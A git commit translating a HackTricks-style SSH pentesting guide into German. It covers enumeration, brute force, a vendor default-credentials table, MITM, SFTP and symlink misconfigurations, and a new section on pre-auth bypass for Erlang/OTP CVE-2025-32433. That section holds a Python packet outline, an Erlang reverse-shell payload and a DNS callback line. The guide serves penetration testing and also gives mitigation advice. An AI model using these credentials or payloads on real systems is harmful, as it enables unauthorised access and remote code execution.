Translated ['src/network-services-pentesting/pentesting-ssh.md'] to de

This commit is contained in:
Translator 2025-08-14 00:19:33 +00:00
parent 8dfc571a7b
commit aa9dbf6a80

View File

@ -17,9 +17,9 @@
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH-Implementierung für Windows, der Client wird häufig verwendet, die Nutzung des Servers ist seltener
- [CopSSH](https://www.itefix.net/copssh) Implementierung von OpenSSH für Windows
**SSH-Bibliotheken (Server-seitige Implementierung):**
**SSH-Bibliotheken (Server-seitig implementiert):**
- [libssh](https://www.libssh.org) plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh); wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
- [libssh](https://www.libssh.org) plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh) implementiert; wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2-Serverbibliothek, die in ANSI C geschrieben ist und für eingebettete, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt ist
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD Java-Bibliothek basiert auf Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2-Protokollbibliothek
@ -45,7 +45,7 @@ ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -
- Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.);
- Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion);
- Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.);
- Analyse der SSH-Versionen-Kompatibilität basierend auf Algorithmusinformationen;
- Kompatibilität der SSH-Version basierend auf Algorithmusinformationen analysieren;
- Historische Informationen von OpenSSH, Dropbear SSH und libssh;
- Läuft auf Linux und Windows;
- Keine Abhängigkeiten
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[Siehe es in Aktion (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[Sieh es dir in Aktion an (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Öffentlicher SSH-Schlüssel des Servers
```bash
@ -93,7 +93,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
## Brute-Force-Benutzernamen, Passwörter und private Schlüssel
### Benutzernamen-Enumeration
### Benutzernamenenumeration
In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen:
```
@ -105,7 +105,7 @@ Einige gängige ssh-Anmeldeinformationen [hier](https://github.com/danielmiessle
### Private Key Brute Force
Wenn Sie einige ssh-Private-Keys kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
Wenn Sie einige ssh-private Schlüssel kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
@ -113,7 +113,7 @@ Oder das MSF-Hilfsmodul:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Oder verwenden Sie `ssh-keybrute.py` (natives python3, leichtgewichtig und mit aktivierten Legacy-Algorithmen): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Or use `ssh-keybrute.py` (native python3, leichtgewichtig und hat veraltete Algorithmen aktiviert): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Bekannte schlechte Schlüssel finden Sie hier:
@ -129,7 +129,7 @@ Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen.
### Kerberos
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` verwenden, um **über Kerberos zu authentifizieren**.\
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` nutzen, um **über Kerberos zu authentifizieren**.\
Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
## Standardanmeldeinformationen
@ -137,7 +137,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
| **Anbieter** | **Benutzernamen** | **Passwörter** |
| ------------ | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
@ -147,7 +147,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
@ -158,10 +158,10 @@ Wenn Sie sich im lokalen Netzwerk des Opfers befinden, das sich mit Benutzername
**Angriffsweg:**
- **Traffic-Umleitung:** Der Angreifer **leitet** den Datenverkehr des Opfers auf seine Maschine um und **unterbricht** effektiv den Verbindungsversuch zum SSH-Server.
- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als legitimer SSH-Server ausgibt.
- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als der legitime SSH-Server ausgibt.
- **Befehlsausführung und Weiterleitung:** Schließlich **protokolliert** der Server des Angreifers die Anmeldeinformationen des Benutzers, **leitet die Befehle** an den echten SSH-Server weiter, **führt** sie aus und **sendet die Ergebnisse zurück** an den Benutzer, wodurch der Prozess nahtlos und legitim erscheint.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) tut genau das, was oben beschrieben ist.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) macht genau das, was oben beschrieben ist.
Um den tatsächlichen MitM durchzuführen, könnten Sie Techniken wie ARP-Spoofing, DNS-Spoofing oder andere, die in den [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beschrieben sind, verwenden.
@ -176,7 +176,7 @@ SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:
3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen,
4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System.
Es ist vollständig selbstreplizierend und selbstverbreitend und vollständig dateilos.
Es ist vollständig selbstreplicierend und selbstverbreitend und vollständig dateilos.
## Konfigurationsfehler
@ -197,7 +197,7 @@ Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen
### SFTP-Befehlsausführung
Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen.
Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen.
[Beispiel von hier](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich** sein, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** zugreifen können (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können), könnten Sie **die symlinkten Dateien über das Web öffnen**.
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich sein**, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können) zugreifen können, könnten Sie **die symlinkten Dateien über das Web öffnen**.
Zum Beispiel, um einen **Symlink** von einer neuen Datei **"**_**froot**_**" zu "**_**/**_**"** zu erstellen:
```bash
@ -252,7 +252,7 @@ Wenn Sie auf die Datei "_froot_" über das Web zugreifen können, sind Sie in de
### Authentifizierungsmethoden
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache passwortbasierte Authentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache faktorenbasierte Passwortauthentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -267,7 +267,7 @@ debug1: Next authentication method: password
```
Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen.
### Config-Dateien
### Config files
```bash
ssh_config
sshd_config
@ -281,10 +281,66 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Mehrere SSH-Server-Implementierungen enthalten logische Fehler in der **Authentifizierungs-Endzustandsmaschine**, die es einem Client ermöglichen, *Verbindungsprotokoll*-Nachrichten **vor** Abschluss der Authentifizierung zu senden. Da der Server nicht überprüft, dass er sich im richtigen Zustand befindet, werden diese Nachrichten so behandelt, als wäre der Benutzer vollständig authentifiziert, was zu **unauthentifiziertem Codeausführung** oder Sitzungscreation führt.
Auf Protokollebene gehört jede SSH-Nachricht mit einem _Nachrichtencode_ **≥ 80** (0x50) zur *Verbindungsschicht* (RFC 4254) und muss **nur nach erfolgreicher Authentifizierung akzeptiert werden** (RFC 4252). Wenn der Server eine dieser Nachrichten verarbeitet, während er sich noch im *SSH_AUTHENTICATION*-Zustand befindet, kann der Angreifer sofort einen Kanal erstellen und Aktionen wie die Ausführung von Befehlen, Port-Weiterleitung usw. anfordern.
### Generic Exploitation Steps
1. Stellen Sie eine TCP-Verbindung zum SSH-Port des Ziels her (gewöhnlich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… bereitstellen).
2. Erstellen Sie ein rohes SSH-Paket:
* 4-Byte **packet_length** (big-endian)
* 1-Byte **message_code** ≥ 80 (z.B. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload, die vom gewählten Nachrichtentyp verstanden wird
3. Senden Sie das/die Paket(e) **vor Abschluss eines Authentifizierungsschrittes**.
4. Interagieren Sie mit den Server-APIs, die jetzt _pre-auth_ exponiert sind (Befehlsausführung, Portweiterleitung, Dateisystemzugriff, …).
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
In der Praxis müssen Sie den Schlüsselaustausch je nach Zielimplementierung durchführen (oder überspringen), aber **keine Authentifizierung** wird jemals durchgeführt.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Betroffene Versionen:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Ursache:** Der native SSH-Daemon von Erlang validiert den aktuellen Zustand nicht, bevor er `ssh_connection:handle_msg/2` aufruft. Daher erreicht jedes Paket mit einem Nachrichten-Code von 80-255 den Verbindungs-Handler, während sich die Sitzung noch im *userauth*-Zustand befindet.
* **Auswirkungen:** nicht authentifizierte **Remote-Code-Ausführung** (der Daemon läuft normalerweise als **root** auf eingebetteten/OT-Geräten).
Beispiel-Payload, die eine umgekehrte Shell erzeugt, die an den vom Angreifer kontrollierten Kanal gebunden ist:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Blind RCE / out-of-band detection kann über DNS durchgeführt werden:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detection & Mitigation:
* Überprüfen Sie den SSH-Verkehr: **verwerfen Sie jedes Paket mit einer Nachrichtenkodierung ≥ 80, das vor der Authentifizierung beobachtet wird**.
* Aktualisieren Sie Erlang/OTP auf **27.3.3 / 26.2.5.11 / 25.3.2.20** oder neuer.
* Beschränken Sie die Exposition von Verwaltungsports (22/2022/830/2222) insbesondere bei OT-Geräten.
---
### Andere betroffene Implementierungen
* **libssh** 0.6 0.8 (Server-Seite) **CVE-2018-10933** akzeptiert ein nicht authentifiziertes `SSH_MSG_USERAUTH_SUCCESS`, das vom Client gesendet wird, was effektiv den umgekehrten Logikfehler darstellt.
Die allgemeine Lektion ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; achten Sie beim Überprüfen oder Fuzzing von SSH-Daemons besonders auf *Zustandsmaschinen-Durchsetzung*.
## References
- Sie können interessante Anleitungen finden, wie Sie SSH absichern können, unter [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands
```